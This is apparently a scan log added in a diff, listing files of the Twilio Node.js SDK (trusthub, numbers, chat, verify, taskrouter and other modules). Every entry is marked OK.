+/scan/node_modules/twilio/lib/rest/trusthub/v1/customerProfiles/customerProfilesChannelEndpointAssignment.d.ts: OK
+/scan/node_modules/twilio/lib/rest/trusthub/v1/customerProfiles/customerProfilesEvaluations.d.ts: OK
+/scan/node_modules/twilio/lib/rest/trusthub/v1/customerProfiles/customerProfilesEntityAssignments.d.ts: OK
+/scan/node_modules/twilio/lib/rest/trusthub/v1/customerProfiles/customerProfilesChannelEndpointAssignment.js: OK
+/scan/node_modules/twilio/lib/rest/trusthub/v1/customerProfiles/customerProfilesEvaluations.js: OK
+/scan/node_modules/twilio/lib/rest/trusthub/v1/endUserType.d.ts: OK
+/scan/node_modules/twilio/lib/rest/trusthub/v1/trustProducts/trustProductsChannelEndpointAssignment.d.ts: OK
+/scan/node_modules/twilio/lib/rest/trusthub/v1/trustProducts/trustProductsEvaluations.js: OK
+/scan/node_modules/twilio/lib/rest/trusthub/v1/trustProducts/trustProductsEntityAssignments.js: OK
+/scan/node_modules/twilio/lib/rest/trusthub/v1/trustProducts/trustProductsEntityAssignments.d.ts: OK
+/scan/node_modules/twilio/lib/rest/trusthub/v1/trustProducts/trustProductsEvaluations.d.ts: OK
+/scan/node_modules/twilio/lib/rest/trusthub/v1/trustProducts/trustProductsChannelEndpointAssignment.js: OK
+/scan/node_modules/twilio/lib/rest/trusthub/v1/trustProducts.js: OK
+/scan/node_modules/twilio/lib/rest/trusthub/V1.d.ts: OK
+/scan/node_modules/twilio/lib/rest/trusthub/V1.js: OK
+/scan/node_modules/twilio/lib/rest/Monitor.d.ts: OK
+/scan/node_modules/twilio/lib/rest/numbers/v1/portingPortIn.d.ts: OK
+/scan/node_modules/twilio/lib/rest/numbers/v1/bulkEligibility.d.ts: OK
+/scan/node_modules/twilio/lib/rest/numbers/v1/portingWebhookConfigurationDelete.js: OK
+/scan/node_modules/twilio/lib/rest/numbers/v1/webhook.d.ts: OK
+/scan/node_modules/twilio/lib/rest/numbers/v1/senderIdRegistration.js: OK
+/scan/node_modules/twilio/lib/rest/numbers/v1/portingWebhookConfiguration.js: OK
+/scan/node_modules/twilio/lib/rest/numbers/v1/portingAllPortIn.d.ts: OK
+/scan/node_modules/twilio/lib/rest/numbers/v1/signingRequestConfiguration.js: OK
+/scan/node_modules/twilio/lib/rest/numbers/v1/signingRequestConfiguration.d.ts: OK
+/scan/node_modules/twilio/lib/rest/numbers/v1/senderIdRegistration.d.ts: OK
+/scan/node_modules/twilio/lib/rest/numbers/v1/webhook.js: OK
+/scan/node_modules/twilio/lib/rest/numbers/v1/portingPortability.js: OK
+/scan/node_modules/twilio/lib/rest/numbers/v1/portingWebhookConfiguration.d.ts: OK
+/scan/node_modules/twilio/lib/rest/numbers/v1/eligibility.js: OK
+/scan/node_modules/twilio/lib/rest/numbers/v1/bulkEligibility.js: OK
+/scan/node_modules/twilio/lib/rest/numbers/v1/portingPortInPhoneNumber.js: OK
+/scan/node_modules/twilio/lib/rest/numbers/v1/embeddedSession.d.ts: OK
+/scan/node_modules/twilio/lib/rest/numbers/v1/portingWebhookConfigurationDelete.d.ts: OK
+/scan/node_modules/twilio/lib/rest/numbers/v1/eligibility.d.ts: OK
+/scan/node_modules/twilio/lib/rest/numbers/v1/portingPortIn.js: OK
+/scan/node_modules/twilio/lib/rest/numbers/v1/embeddedSession.js: OK
+/scan/node_modules/twilio/lib/rest/numbers/v1/portingPortability.d.ts: OK
+/scan/node_modules/twilio/lib/rest/numbers/v1/portingAllPortIn.js: OK
+/scan/node_modules/twilio/lib/rest/numbers/v1/portingPortInPhoneNumber.d.ts: OK
+/scan/node_modules/twilio/lib/rest/numbers/V1.d.ts: OK
+/scan/node_modules/twilio/lib/rest/numbers/V1.js: OK
+/scan/node_modules/twilio/lib/rest/numbers/V2.js: OK
+/scan/node_modules/twilio/lib/rest/numbers/v2/bulkHostedNumberOrder.d.ts: OK
+/scan/node_modules/twilio/lib/rest/numbers/v2/hostedNumberOrder.js: OK
+/scan/node_modules/twilio/lib/rest/numbers/v2/authorizationDocument/dependentHostedNumberOrder.d.ts: OK
+/scan/node_modules/twilio/lib/rest/numbers/v2/authorizationDocument/dependentHostedNumberOrder.js: OK
+/scan/node_modules/twilio/lib/rest/numbers/v2/authorizationDocument.js: OK
+/scan/node_modules/twilio/lib/rest/numbers/v2/authorizationDocument.d.ts: OK
+/scan/node_modules/twilio/lib/rest/numbers/v2/regulatoryCompliance/endUserType.js: OK
+/scan/node_modules/twilio/lib/rest/numbers/v2/regulatoryCompliance/regulation.d.ts: OK
+/scan/node_modules/twilio/lib/rest/numbers/v2/regulatoryCompliance/supportingDocumentType.js: OK
+/scan/node_modules/twilio/lib/rest/numbers/v2/regulatoryCompliance/regulation.js: OK
+/scan/node_modules/twilio/lib/rest/numbers/v2/regulatoryCompliance/bundle.js: OK
+/scan/node_modules/twilio/lib/rest/numbers/v2/regulatoryCompliance/endUser.d.ts: OK
+/scan/node_modules/twilio/lib/rest/numbers/v2/regulatoryCompliance/supportingDocument.d.ts: OK
+/scan/node_modules/twilio/lib/rest/numbers/v2/regulatoryCompliance/bundle/evaluation.js: OK
+/scan/node_modules/twilio/lib/rest/numbers/v2/regulatoryCompliance/bundle/replaceItems.js: OK
+/scan/node_modules/twilio/lib/rest/numbers/v2/regulatoryCompliance/bundle/itemAssignment.d.ts: OK
+/scan/node_modules/twilio/lib/rest/numbers/v2/regulatoryCompliance/bundle/bundleCopy.d.ts: OK
+/scan/node_modules/twilio/lib/rest/numbers/v2/regulatoryCompliance/bundle/itemAssignment.js: OK
+/scan/node_modules/twilio/lib/rest/numbers/v2/regulatoryCompliance/bundle/bundleCopy.js: OK
+/scan/node_modules/twilio/lib/rest/numbers/v2/regulatoryCompliance/bundle/replaceItems.d.ts: OK
+/scan/node_modules/twilio/lib/rest/numbers/v2/regulatoryCompliance/bundle/evaluation.d.ts: OK
+/scan/node_modules/twilio/lib/rest/numbers/v2/regulatoryCompliance/bundle.d.ts: OK
+/scan/node_modules/twilio/lib/rest/numbers/v2/regulatoryCompliance/endUser.js: OK
+/scan/node_modules/twilio/lib/rest/numbers/v2/regulatoryCompliance/supportingDocumentType.d.ts: OK
+/scan/node_modules/twilio/lib/rest/numbers/v2/regulatoryCompliance/supportingDocument.js: OK
+/scan/node_modules/twilio/lib/rest/numbers/v2/regulatoryCompliance/endUserType.d.ts: OK
+/scan/node_modules/twilio/lib/rest/numbers/v2/application.d.ts: OK
+/scan/node_modules/twilio/lib/rest/numbers/v2/application.js: OK
+/scan/node_modules/twilio/lib/rest/numbers/v2/bulkHostedNumberOrder.js: OK
+/scan/node_modules/twilio/lib/rest/numbers/v2/regulatoryCompliance.d.ts: OK
+/scan/node_modules/twilio/lib/rest/numbers/v2/hostedNumberOrder.d.ts: OK
+/scan/node_modules/twilio/lib/rest/numbers/v2/bundleClone.d.ts: OK
+/scan/node_modules/twilio/lib/rest/numbers/v2/bundleClone.js: OK
+/scan/node_modules/twilio/lib/rest/numbers/v2/regulatoryCompliance.js: OK
+/scan/node_modules/twilio/lib/rest/numbers/v3/hostedNumberOrder.js: OK
+/scan/node_modules/twilio/lib/rest/numbers/v3/hostedNumberOrder.d.ts: OK
+/scan/node_modules/twilio/lib/rest/numbers/V3.js: OK
+/scan/node_modules/twilio/lib/rest/numbers/V2.d.ts: OK
+/scan/node_modules/twilio/lib/rest/numbers/V3.d.ts: OK
+/scan/node_modules/twilio/lib/rest/MonitorBase.d.ts: OK
+/scan/node_modules/twilio/lib/rest/oauth/v1/authorize.js: OK
+/scan/node_modules/twilio/lib/rest/oauth/v1/authorize.d.ts: OK
+/scan/node_modules/twilio/lib/rest/oauth/v1/token.d.ts: OK
+/scan/node_modules/twilio/lib/rest/oauth/v1/token.js: OK
+/scan/node_modules/twilio/lib/rest/oauth/V1.d.ts: OK
+/scan/node_modules/twilio/lib/rest/oauth/V1.js: OK
+/scan/node_modules/twilio/lib/rest/oauth/V2.js: OK
+/scan/node_modules/twilio/lib/rest/oauth/v2/authorize.js: OK
+/scan/node_modules/twilio/lib/rest/oauth/v2/authorize.d.ts: OK
+/scan/node_modules/twilio/lib/rest/oauth/v2/token.d.ts: OK
+/scan/node_modules/twilio/lib/rest/oauth/v2/token.js: OK
+/scan/node_modules/twilio/lib/rest/oauth/V2.d.ts: OK
+/scan/node_modules/twilio/lib/rest/Insights.d.ts: OK
+/scan/node_modules/twilio/lib/rest/lookups/v1/phoneNumber.d.ts: OK
+/scan/node_modules/twilio/lib/rest/lookups/v1/phoneNumber.js: OK
+/scan/node_modules/twilio/lib/rest/lookups/V1.d.ts: OK
+/scan/node_modules/twilio/lib/rest/lookups/V1.js: OK
+/scan/node_modules/twilio/lib/rest/lookups/V2.js: OK
+/scan/node_modules/twilio/lib/rest/lookups/v2/bucket.d.ts: OK
+/scan/node_modules/twilio/lib/rest/lookups/v2/phoneNumber.d.ts: OK
+/scan/node_modules/twilio/lib/rest/lookups/v2/lookupOverride.js: OK
+/scan/node_modules/twilio/lib/rest/lookups/v2/rateLimit.js: OK
+/scan/node_modules/twilio/lib/rest/lookups/v2/lookupOverride.d.ts: OK
+/scan/node_modules/twilio/lib/rest/lookups/v2/query.d.ts: OK
+/scan/node_modules/twilio/lib/rest/lookups/v2/query.js: OK
+/scan/node_modules/twilio/lib/rest/lookups/v2/bucket.js: OK
+/scan/node_modules/twilio/lib/rest/lookups/v2/rateLimit.d.ts: OK
+/scan/node_modules/twilio/lib/rest/lookups/v2/phoneNumber.js: OK
+/scan/node_modules/twilio/lib/rest/lookups/V2.d.ts: OK
+/scan/node_modules/twilio/lib/rest/Intelligence.d.ts: OK
+/scan/node_modules/twilio/lib/rest/BulkexportsBase.js: OK
+/scan/node_modules/twilio/lib/rest/Verify.d.ts: OK
+/scan/node_modules/twilio/lib/rest/Api.d.ts: OK
+/scan/node_modules/twilio/lib/rest/proxy/v1/service.js: OK
+/scan/node_modules/twilio/lib/rest/proxy/v1/service.d.ts: OK
+/scan/node_modules/twilio/lib/rest/proxy/v1/service/phoneNumber.d.ts: OK
+/scan/node_modules/twilio/lib/rest/proxy/v1/service/session.d.ts: OK
+/scan/node_modules/twilio/lib/rest/proxy/v1/service/session.js: OK
+/scan/node_modules/twilio/lib/rest/proxy/v1/service/phoneNumber.js: OK
+/scan/node_modules/twilio/lib/rest/proxy/v1/service/session/participant/messageInteraction.js: OK
+/scan/node_modules/twilio/lib/rest/proxy/v1/service/session/participant/messageInteraction.d.ts: OK
+/scan/node_modules/twilio/lib/rest/proxy/v1/service/session/interaction.js: OK
+/scan/node_modules/twilio/lib/rest/proxy/v1/service/session/interaction.d.ts: OK
+/scan/node_modules/twilio/lib/rest/proxy/v1/service/session/participant.js: OK
+/scan/node_modules/twilio/lib/rest/proxy/v1/service/session/participant.d.ts: OK
+/scan/node_modules/twilio/lib/rest/proxy/V1.d.ts: OK
+/scan/node_modules/twilio/lib/rest/proxy/V1.js: OK
+/scan/node_modules/twilio/lib/rest/Trunking.js: OK
+/scan/node_modules/twilio/lib/rest/Numbers.js: OK
+/scan/node_modules/twilio/lib/rest/NumbersBase.js: OK
+/scan/node_modules/twilio/lib/rest/VerifyBase.d.ts: OK
+/scan/node_modules/twilio/lib/rest/Events.d.ts: OK
+/scan/node_modules/twilio/lib/rest/chat/v1/service.js: OK
+/scan/node_modules/twilio/lib/rest/chat/v1/service.d.ts: OK
+/scan/node_modules/twilio/lib/rest/chat/v1/credential.d.ts: OK
+/scan/node_modules/twilio/lib/rest/chat/v1/credential.js: OK
+/scan/node_modules/twilio/lib/rest/chat/v1/service/channel.js: OK
+/scan/node_modules/twilio/lib/rest/chat/v1/service/role.js: OK
+/scan/node_modules/twilio/lib/rest/chat/v1/service/role.d.ts: OK
+/scan/node_modules/twilio/lib/rest/chat/v1/service/user.js: OK
+/scan/node_modules/twilio/lib/rest/chat/v1/service/user/userChannel.js: OK
+/scan/node_modules/twilio/lib/rest/chat/v1/service/user/userChannel.d.ts: OK
+/scan/node_modules/twilio/lib/rest/chat/v1/service/channel.d.ts: OK
+/scan/node_modules/twilio/lib/rest/chat/v1/service/channel/invite.js: OK
+/scan/node_modules/twilio/lib/rest/chat/v1/service/channel/message.js: OK
+/scan/node_modules/twilio/lib/rest/chat/v1/service/channel/member.js: OK
+/scan/node_modules/twilio/lib/rest/chat/v1/service/channel/member.d.ts: OK
+/scan/node_modules/twilio/lib/rest/chat/v1/service/channel/invite.d.ts: OK
+/scan/node_modules/twilio/lib/rest/chat/v1/service/channel/message.d.ts: OK
+/scan/node_modules/twilio/lib/rest/chat/v1/service/user.d.ts: OK
+/scan/node_modules/twilio/lib/rest/chat/V1.d.ts: OK
+/scan/node_modules/twilio/lib/rest/chat/V1.js: OK
+/scan/node_modules/twilio/lib/rest/chat/V2.js: OK
+/scan/node_modules/twilio/lib/rest/chat/v2/service.js: OK
+/scan/node_modules/twilio/lib/rest/chat/v2/service.d.ts: OK
+/scan/node_modules/twilio/lib/rest/chat/v2/credential.d.ts: OK
+/scan/node_modules/twilio/lib/rest/chat/v2/credential.js: OK
+/scan/node_modules/twilio/lib/rest/chat/v2/service/channel.js: OK
+/scan/node_modules/twilio/lib/rest/chat/v2/service/binding.d.ts: OK
+/scan/node_modules/twilio/lib/rest/chat/v2/service/role.js: OK
+/scan/node_modules/twilio/lib/rest/chat/v2/service/role.d.ts: OK
+/scan/node_modules/twilio/lib/rest/chat/v2/service/user.js: OK
+/scan/node_modules/twilio/lib/rest/chat/v2/service/user/userChannel.js: OK
+/scan/node_modules/twilio/lib/rest/chat/v2/service/user/userBinding.d.ts: OK
+/scan/node_modules/twilio/lib/rest/chat/v2/service/user/userBinding.js: OK
+/scan/node_modules/twilio/lib/rest/chat/v2/service/user/userChannel.d.ts: OK
+/scan/node_modules/twilio/lib/rest/chat/v2/service/channel.d.ts: OK
+/scan/node_modules/twilio/lib/rest/chat/v2/service/binding.js: OK
+/scan/node_modules/twilio/lib/rest/chat/v2/service/channel/invite.js: OK
+/scan/node_modules/twilio/lib/rest/chat/v2/service/channel/message.js: OK
+/scan/node_modules/twilio/lib/rest/chat/v2/service/channel/member.js: OK
+/scan/node_modules/twilio/lib/rest/chat/v2/service/channel/webhook.d.ts: OK
+/scan/node_modules/twilio/lib/rest/chat/v2/service/channel/member.d.ts: OK
+/scan/node_modules/twilio/lib/rest/chat/v2/service/channel/webhook.js: OK
+/scan/node_modules/twilio/lib/rest/chat/v2/service/channel/invite.d.ts: OK
+/scan/node_modules/twilio/lib/rest/chat/v2/service/channel/message.d.ts: OK
+/scan/node_modules/twilio/lib/rest/chat/v2/service/user.d.ts: OK
+/scan/node_modules/twilio/lib/rest/chat/v3/channel.js: OK
+/scan/node_modules/twilio/lib/rest/chat/v3/channel.d.ts: OK
+/scan/node_modules/twilio/lib/rest/chat/V3.js: OK
+/scan/node_modules/twilio/lib/rest/chat/V2.d.ts: OK
+/scan/node_modules/twilio/lib/rest/chat/V3.d.ts: OK
+/scan/node_modules/twilio/lib/rest/Lookups.js: OK
+/scan/node_modules/twilio/lib/rest/Notify.js: OK
+/scan/node_modules/twilio/lib/rest/assistants/v1/assistant/feedback.js: OK
+/scan/node_modules/twilio/lib/rest/assistants/v1/assistant/assistantsKnowledge.d.ts: OK
+/scan/node_modules/twilio/lib/rest/assistants/v1/assistant/message.js: OK
+/scan/node_modules/twilio/lib/rest/assistants/v1/assistant/assistantsTool.d.ts: OK
+/scan/node_modules/twilio/lib/rest/assistants/v1/assistant/assistantsTool.js: OK
+/scan/node_modules/twilio/lib/rest/assistants/v1/assistant/assistantsKnowledge.js: OK
+/scan/node_modules/twilio/lib/rest/assistants/v1/assistant/feedback.d.ts: OK
+/scan/node_modules/twilio/lib/rest/assistants/v1/assistant/message.d.ts: OK
+/scan/node_modules/twilio/lib/rest/assistants/v1/assistant.js: OK
+/scan/node_modules/twilio/lib/rest/assistants/v1/policy.d.ts: OK
+/scan/node_modules/twilio/lib/rest/assistants/v1/assistant.d.ts: OK
+/scan/node_modules/twilio/lib/rest/assistants/v1/session.d.ts: OK
+/scan/node_modules/twilio/lib/rest/assistants/v1/policy.js: OK
+/scan/node_modules/twilio/lib/rest/assistants/v1/session.js: OK
+/scan/node_modules/twilio/lib/rest/assistants/v1/tool.d.ts: OK
+/scan/node_modules/twilio/lib/rest/assistants/v1/knowledge/chunk.js: OK
+/scan/node_modules/twilio/lib/rest/assistants/v1/knowledge/chunk.d.ts: OK
+/scan/node_modules/twilio/lib/rest/assistants/v1/knowledge/knowledgeStatus.d.ts: OK
+/scan/node_modules/twilio/lib/rest/assistants/v1/knowledge/knowledgeStatus.js: OK
+/scan/node_modules/twilio/lib/rest/assistants/v1/tool.js: OK
+/scan/node_modules/twilio/lib/rest/assistants/v1/knowledge.js: OK
+/scan/node_modules/twilio/lib/rest/assistants/v1/knowledge.d.ts: OK
+/scan/node_modules/twilio/lib/rest/assistants/v1/session/message.js: OK
+/scan/node_modules/twilio/lib/rest/assistants/v1/session/message.d.ts: OK
+/scan/node_modules/twilio/lib/rest/assistants/V1.d.ts: OK
+/scan/node_modules/twilio/lib/rest/assistants/V1.js: OK
+/scan/node_modules/twilio/lib/rest/Intelligence.js: OK
+/scan/node_modules/twilio/lib/rest/verify/V2.js: OK
+/scan/node_modules/twilio/lib/rest/verify/v2/verificationAttempt.js: OK
+/scan/node_modules/twilio/lib/rest/verify/v2/template.d.ts: OK
+/scan/node_modules/twilio/lib/rest/verify/v2/service.js: OK
+/scan/node_modules/twilio/lib/rest/verify/v2/service.d.ts: OK
+/scan/node_modules/twilio/lib/rest/verify/v2/verificationAttempt.d.ts: OK
+/scan/node_modules/twilio/lib/rest/verify/v2/safelist.js: OK
+/scan/node_modules/twilio/lib/rest/verify/v2/safelist.d.ts: OK
+/scan/node_modules/twilio/lib/rest/verify/v2/form.js: OK
+/scan/node_modules/twilio/lib/rest/verify/v2/service/messagingConfiguration.js: OK
+/scan/node_modules/twilio/lib/rest/verify/v2/service/newChallenge.d.ts: OK
+/scan/node_modules/twilio/lib/rest/verify/v2/service/newFactor.d.ts: OK
+/scan/node_modules/twilio/lib/rest/verify/v2/service/entity.d.ts: OK
+/scan/node_modules/twilio/lib/rest/verify/v2/service/newChallenge.js: OK
+/scan/node_modules/twilio/lib/rest/verify/v2/service/rateLimit.js: OK
+/scan/node_modules/twilio/lib/rest/verify/v2/service/approveChallenge.js: OK
+/scan/node_modules/twilio/lib/rest/verify/v2/service/webhook.d.ts: OK
+/scan/node_modules/twilio/lib/rest/verify/v2/service/messagingConfiguration.d.ts: OK
+/scan/node_modules/twilio/lib/rest/verify/v2/service/entity/newFactor.d.ts: OK
+/scan/node_modules/twilio/lib/rest/verify/v2/service/entity/challenge.d.ts: OK
+/scan/node_modules/twilio/lib/rest/verify/v2/service/entity/newFactor.js: OK
+/scan/node_modules/twilio/lib/rest/verify/v2/service/entity/challenge.js: OK
+/scan/node_modules/twilio/lib/rest/verify/v2/service/entity/factor.d.ts: OK
+/scan/node_modules/twilio/lib/rest/verify/v2/service/entity/challenge/notification.js: OK
+/scan/node_modules/twilio/lib/rest/verify/v2/service/entity/challenge/notification.d.ts: OK
+/scan/node_modules/twilio/lib/rest/verify/v2/service/entity/factor.js: OK
+/scan/node_modules/twilio/lib/rest/verify/v2/service/webhook.js: OK
+/scan/node_modules/twilio/lib/rest/verify/v2/service/accessToken.d.ts: OK
+/scan/node_modules/twilio/lib/rest/verify/v2/service/verification.js: OK
+/scan/node_modules/twilio/lib/rest/verify/v2/service/approveChallenge.d.ts: OK
+/scan/node_modules/twilio/lib/rest/verify/v2/service/rateLimit.d.ts: OK
+/scan/node_modules/twilio/lib/rest/verify/v2/service/rateLimit/bucket.d.ts: OK
+/scan/node_modules/twilio/lib/rest/verify/v2/service/rateLimit/bucket.js: OK
+/scan/node_modules/twilio/lib/rest/verify/v2/service/newFactor.js: OK
+/scan/node_modules/twilio/lib/rest/verify/v2/service/newVerifyFactor.d.ts: OK
+/scan/node_modules/twilio/lib/rest/verify/v2/service/accessToken.js: OK
+/scan/node_modules/twilio/lib/rest/verify/v2/service/verification.d.ts: OK
+/scan/node_modules/twilio/lib/rest/verify/v2/service/verificationCheck.d.ts: OK
+/scan/node_modules/twilio/lib/rest/verify/v2/service/newVerifyFactor.js: OK
+/scan/node_modules/twilio/lib/rest/verify/v2/service/entity.js: OK
+/scan/node_modules/twilio/lib/rest/verify/v2/service/verificationCheck.js: OK
+/scan/node_modules/twilio/lib/rest/verify/v2/verificationAttemptsSummary.js: OK
+/scan/node_modules/twilio/lib/rest/verify/v2/verificationAttemptsSummary.d.ts: OK
+/scan/node_modules/twilio/lib/rest/verify/v2/form.d.ts: OK
+/scan/node_modules/twilio/lib/rest/verify/v2/template.js: OK
+/scan/node_modules/twilio/lib/rest/verify/V2.d.ts: OK
+/scan/node_modules/twilio/lib/rest/intelligence/V2.js: OK
+/scan/node_modules/twilio/lib/rest/intelligence/v2/operatorAttachments.d.ts: OK
+/scan/node_modules/twilio/lib/rest/intelligence/v2/operatorAttachment.d.ts: OK
+/scan/node_modules/twilio/lib/rest/intelligence/v2/prebuiltOperator.js: OK
+/scan/node_modules/twilio/lib/rest/intelligence/v2/operator.js: OK
+/scan/node_modules/twilio/lib/rest/intelligence/v2/service.js: OK
+/scan/node_modules/twilio/lib/rest/intelligence/v2/transcript/media.js: OK
+/scan/node_modules/twilio/lib/rest/intelligence/v2/transcript/operatorResult.d.ts: OK
+/scan/node_modules/twilio/lib/rest/intelligence/v2/transcript/operatorResult.js: OK
+/scan/node_modules/twilio/lib/rest/intelligence/v2/transcript/sentence.d.ts: OK
+/scan/node_modules/twilio/lib/rest/intelligence/v2/transcript/media.d.ts: OK
+/scan/node_modules/twilio/lib/rest/intelligence/v2/transcript/encryptedSentences.js: OK
+/scan/node_modules/twilio/lib/rest/intelligence/v2/transcript/sentence.js: OK
+/scan/node_modules/twilio/lib/rest/intelligence/v2/transcript/encryptedOperatorResults.d.ts: OK
+/scan/node_modules/twilio/lib/rest/intelligence/v2/transcript/encryptedSentences.d.ts: OK
+/scan/node_modules/twilio/lib/rest/intelligence/v2/transcript/encryptedOperatorResults.js: OK
+/scan/node_modules/twilio/lib/rest/intelligence/v2/service.d.ts: OK
+/scan/node_modules/twilio/lib/rest/intelligence/v2/transcript.js: OK
+/scan/node_modules/twilio/lib/rest/intelligence/v2/operatorType.d.ts: OK
+/scan/node_modules/twilio/lib/rest/intelligence/v2/transcript.d.ts: OK
+/scan/node_modules/twilio/lib/rest/intelligence/v2/customOperator.d.ts: OK
+/scan/node_modules/twilio/lib/rest/intelligence/v2/prebuiltOperator.d.ts: OK
+/scan/node_modules/twilio/lib/rest/intelligence/v2/operator.d.ts: OK
+/scan/node_modules/twilio/lib/rest/intelligence/v2/customOperator.js: OK
+/scan/node_modules/twilio/lib/rest/intelligence/v2/operatorAttachment.js: OK
+/scan/node_modules/twilio/lib/rest/intelligence/v2/operatorType.js: OK
+/scan/node_modules/twilio/lib/rest/intelligence/v2/operatorAttachments.js: OK
+/scan/node_modules/twilio/lib/rest/intelligence/V2.d.ts: OK
+/scan/node_modules/twilio/lib/rest/FrontlineApiBase.js: OK
+/scan/node_modules/twilio/lib/rest/ConversationsBase.d.ts: OK
+/scan/node_modules/twilio/lib/rest/PreviewIamBase.d.ts: OK
+/scan/node_modules/twilio/lib/rest/taskrouter/v1/workspace.d.ts: OK
+/scan/node_modules/twilio/lib/rest/taskrouter/v1/workspace/workflow.d.ts: OK
+/scan/node_modules/twilio/lib/rest/taskrouter/v1/workspace/taskQueue/taskQueueStatistics.js: OK
+/scan/node_modules/twilio/lib/rest/taskrouter/v1/workspace/taskQueue/taskQueuesStatistics.js: OK
+/scan/node_modules/twilio/lib/rest/taskrouter/v1/workspace/taskQueue/taskQueueCumulativeStatistics.d.ts: OK
+/scan/node_modules/twilio/lib/rest/taskrouter/v1/workspace/taskQueue/taskQueuesStatistics.d.ts: OK
+/scan/node_modules/twilio/lib/rest/taskrouter/v1/workspace/taskQueue/taskQueueRealTimeStatistics.js: OK
+/scan/node_modules/twilio/lib/rest/taskrouter/v1/workspace/taskQueue/taskQueueStatistics.d.ts: OK
+/scan/node_modules/twilio/lib/rest/taskrouter/v1/workspace/taskQueue/taskQueueBulkRealTimeStatistics.js: OK
+/scan/node_modules/twilio/lib/rest/taskrouter/v1/workspace/taskQueue/taskQueueBulkRealTimeStatistics.d.ts: OK
+/scan/node_modules/twilio/lib/rest/taskrouter/v1/workspace/taskQueue/taskQueueRealTimeStatistics.d.ts: OK
+/scan/node_modules/twilio/lib/rest/taskrouter/v1/workspace/taskQueue/taskQueueCumulativeStatistics.js: OK
+/scan/node_modules/twilio/lib/rest/taskrouter/v1/workspace/taskChannel.d.ts: OK
+/scan/node_modules/twilio/lib/rest/taskrouter/v1/workspace/workspaceCumulativeStatistics.d.ts: OK
+/scan/node_modules/twilio/lib/rest/taskrouter/v1/workspace/taskQueue.d.ts: OK
+/scan/node_modules/twilio/lib/rest/taskrouter/v1/workspace/activity.js: OK
+/scan/node_modules/twilio/lib/rest/taskrouter/v1/workspace/event.js: OK
+/scan/node_modules/twilio/lib/rest/taskrouter/v1/workspace/task.d.ts: OK
+/scan/node_modules/twilio/lib/rest/taskrouter/v1/workspace/task.js: OK
+/scan/node_modules/twilio/lib/rest/taskrouter/v1/workspace/worker.js: OK
+/scan/node_modules/twilio/lib/rest/taskrouter/v1/workspace/workspaceRealTimeStatistics.d.ts: OK
+/scan/node_modules/twilio/lib/rest/taskrouter/v1/workspace/taskQueue.js: OK
+/scan/node_modules/twilio/lib/rest/taskrouter/v1/workspace/event.d.ts: OK
+/scan/node_modules/twilio/lib/rest/taskrouter/v1/workspace/workspaceCumulativeStatistics.js: OK
+/scan/node_modules/twilio/lib/rest/taskrouter/v1/workspace/worker.d.ts: OK
+/scan/node_modules/twilio/lib/rest/taskrouter/v1/workspace/workspaceStatistics.js: OK
+/scan/node_modules/twilio/lib/rest/taskrouter/v1/workspace/taskChannel.js: OK
+/scan/node_modules/twilio/lib/rest/taskrouter/v1/workspace/workflow.js: OK
+/scan/node_modules/twilio/lib/rest/taskrouter/v1/workspace/workflow/workflowCumulativeStatistics.js: OK
+/scan/node_modules/twilio/lib/rest/taskrouter/v1/workspace/workflow/workflowStatistics.d.ts: OK
+/scan/node_modules/twilio/lib/rest/taskrouter/v1/workspace/workflow/workflowRealTimeStatistics.d.ts: OK
+/scan/node_modules/twilio/lib/rest/taskrouter/v1/workspace/workflow/workflowRealTimeStatistics.js: OK
+/scan/node_modules/twilio/lib/rest/taskrouter/v1/workspace/workflow/workflowStatistics.js: OK
+/scan/node_modules/twilio/lib/rest/taskrouter/v1/workspace/workflow/workflowCumulativeStatistics.d.ts: OK
+/scan/node_modules/twilio/lib/rest/taskrouter/v1/workspace/task/reservation.js: OK
+/scan/node_modules/twilio/lib/rest/taskrouter/v1/workspace/task/reservation.d.ts: OK
+/scan/node_modules/twilio/lib/rest/taskrouter/v1/workspace/workspaceRealTimeStatistics.js: OK
+/scan/node_modules/twilio/lib/rest/taskrouter/v1/workspace/worker/workersCumulativeStatistics.d.ts: OK
+/scan/node_modules/twilio/lib/rest/taskrouter/v1/workspace/worker/workerStatistics.d.ts: OK
+/scan/node_modules/twilio/lib/rest/taskrouter/v1/workspace/worker/workerChannel.js: OK
+/scan/node_modules/twilio/lib/rest/taskrouter/v1/workspace/worker/reservation.js: OK
+/scan/node_modules/twilio/lib/rest/taskrouter/v1/workspace/worker/workersStatistics.d.ts: OK
+/scan/node_modules/twilio/lib/rest/taskrouter/v1/workspace/worker/workersRealTimeStatistics.d.ts: OK
+/scan/node_modules/twilio/lib/rest/taskrouter/v1/workspace/worker/workersCumulativeStatistics.js: OK
+/scan/node_modules/twilio/lib/rest/taskrouter/v1/workspace/worker/reservation.d.ts: OK
+/scan/node_modules/twilio/lib/rest/taskrouter/v1/workspace/worker/workersStatistics.js: OK
+/scan/node_modules/twilio/lib/rest/taskrouter/v1/workspace/worker/workerStatistics.js: OK
+/scan/node_modules/twilio/lib/rest/taskrouter/v1/workspace/worker/workersRealTimeStatistics.js: OK
+/scan/node_modules/twilio/lib/rest/taskrouter/v1/workspace/worker/workerChannel.d.ts: OK
+/scan/node_modules/twilio/lib/rest/taskrouter/v1/workspace/workspaceStatistics.d.ts: OK
+/scan/node_modules/twilio/lib/rest/taskrouter/v1/workspace/activity.d.ts: OK
+/scan/node_modules/twilio/lib/rest/taskrouter/v1/workspace.js: OK
+/scan/node_modules/twilio/lib/rest/taskrouter/V1.d.ts: OK
+/scan/node_modules/twilio/lib/rest/taskrouter/V1.js: OK
+/scan/node_modules/twilio/lib/rest/serverless/v1/service.js: OK
+/scan/node_modules/twilio/lib/rest/serverless/v1/service.d.ts: OK
+/scan/node_modules/twilio/lib/rest/serverless/v1/service/function.d.ts: OK
+/scan/node_modules/twilio/lib/rest/serverless/v1/service/asset/assetVersion.js: OK
+/scan/node_modules/twilio/lib/rest/serverless/v1/service/asset/assetVersion.d.ts: OK
+/scan/node_modules/twilio/lib/rest/serverless/v1/service/build.js: OK
+/scan/node_modules/twilio/lib/rest/serverless/v1/service/asset.js: OK
+/scan/node_modules/twilio/lib/rest/serverless/v1/service/function/functionVersion.js: OK
+/scan/node_modules/twilio/lib/rest/serverless/v1/service/function/functionVersion/functionVersionContent.d.ts: OK
+/scan/node_modules/twilio/lib/rest/serverless/v1/service/function/functionVersion/functionVersionContent.js: OK
+/scan/node_modules/twilio/lib/rest/serverless/v1/service/function/functionVersion.d.ts: OK
+/scan/node_modules/twilio/lib/rest/serverless/v1/service/function.js: OK
+/scan/node_modules/twilio/lib/rest/serverless/v1/service/environment/deployment.d.ts: OK
